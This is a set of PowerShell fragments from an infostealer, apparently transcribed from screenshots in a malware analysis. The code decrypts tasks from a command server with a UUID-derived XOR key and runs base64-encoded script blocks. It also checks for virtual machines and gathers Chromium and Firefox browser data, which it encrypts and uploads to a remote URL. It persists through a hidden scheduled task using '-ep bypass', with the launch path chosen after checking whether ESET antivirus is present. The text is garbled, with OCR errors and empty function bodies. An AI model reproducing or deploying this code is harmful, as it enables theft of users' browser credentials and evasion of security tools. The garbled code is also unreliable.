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$enc = [System.Text.Encoding]::UTF8

$UUID = (get-wmiobject Win32_ ComputerSystemProduct).uuid;

$xorkey = $enc.GetBytes($cmp)
$data = xor $enc.GetBytes($UUID) $xorkey;
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$res = xor $res $cmp
$res = $enc.GetString($res);
$res = ConvertFrom-JSON20@($res);

$script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($res.script));
$script = [Scriptblock]::Create($script);
Invoke-Command -ScriptBlock $script -ArgumentList $res.args;
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if($task.task _id -and $task.scriptname){
$task_id = $task.task_id
$scriptname = $task.scriptname
try{
if(!($task.scriptname -eq 'hbr' -and $task.type -eq 'run’)){

}
}catch{

}

if($task.type -eq 'run'){

}

elseif($task.type -eq 'kill"){
}
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function Is-VM {
function WMI_Query(){

t

function Common_String()k

t

function Check-VideoController {

t

function Check-DisplayConfiguration {
}

function Check-DiskDrive {

}

function Check-ComputerSystemProduct {
l

function Check-ComputerSystem {

}

function Check-BioshWmi {

}
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Add-Log '[+] Getting browsers data' 'info'
try{
$BrowsersData = Get-Browsersdata
if($BrowsersData.Count -ne 0){
$stealdata.Add( 'BrowsersData’', $BrowsersData)
Add-Log '[+] Got browsers data' 'info'
}
else{
Add-Log '[+] Browsers data not found®' 'info'
}
}catch{
Add-Log ('[-] Unable to get browsersdata: ' + $Error[@].exception.message) 'error’

}

Add-Log '[+] Getting additional data' 'info'

try{
$AdditionalData = Get-AdditionalData

if($AdditionalData.Count -ne 0){
$stealdata.Add('AdditionalData’, $AdditionalData)
Add-Log '[+] Got additional data' 'info'

}

else{
Add-Log '[+] Additional data not found' 'info'

}
}catch{

Add-Log ('[-] Unable to get additional data: ' + $Error[@].exception.message) 'error'

}
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Add-Log '[+] Preparing to send' 'info'
$data = @{stealdata = $stealdata} | ConvertTo-ISON20
$encrypteddata = Encrypt-Data -data $data

Add-Log '[+] Sending' 'info'
$web = New-Object Net.WebClient
$web.UploadData($url, $encrypteddata) | Out-Null
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Add-Log '[+] Started' 'info'

Add-Log '[+] Creating profile script' 'info'
Create-ProfileScript

Add-Log '[+] Checking architecture' 'info'
if ((gwmi win32_operatingsystem | select osarchitecture).osarchitecture -match '32'){
$ps_exe_path = "$env:SystemRoot\System32\WindowsPowerShell\vl.0\powershell.exe"
}else{
$ps_exe_path = "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1l.0\powershell.exe"
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Add-Log '[+] Creating scheduled task' 'info'
$antivirus = @()
$antivirus += (Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntiVirusProduct").DisplayName
if($antivirus -and ($antivirus | ? {$_.tolower().contains('eset')})){
$argument_str = '-ep bypass -w hidden -nologo -noexit'
Create-ScheduledTask $ps_exe path $argument_str
} else {
$jsFilePath = Create-JS-Starter $ps_exe_path
Create-ScheduledTask $jsFilePath
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Add-Log '[+] Getting chromium based browsers' 'info'

$browsers = @{}

$chromium_browsers = ChromiumBased

if($chromium_browsers.Count -gt 0){
$browsers.Add('chromium based', $chromium_browsers)

Add-Log '[+] Getting firefox based browsers' 'info’

$firefox_browsers = FirefoxBased

if($firefox_browsers.Count -gt 9){
$browsers.Add('firefox based', $firefox_browsers)
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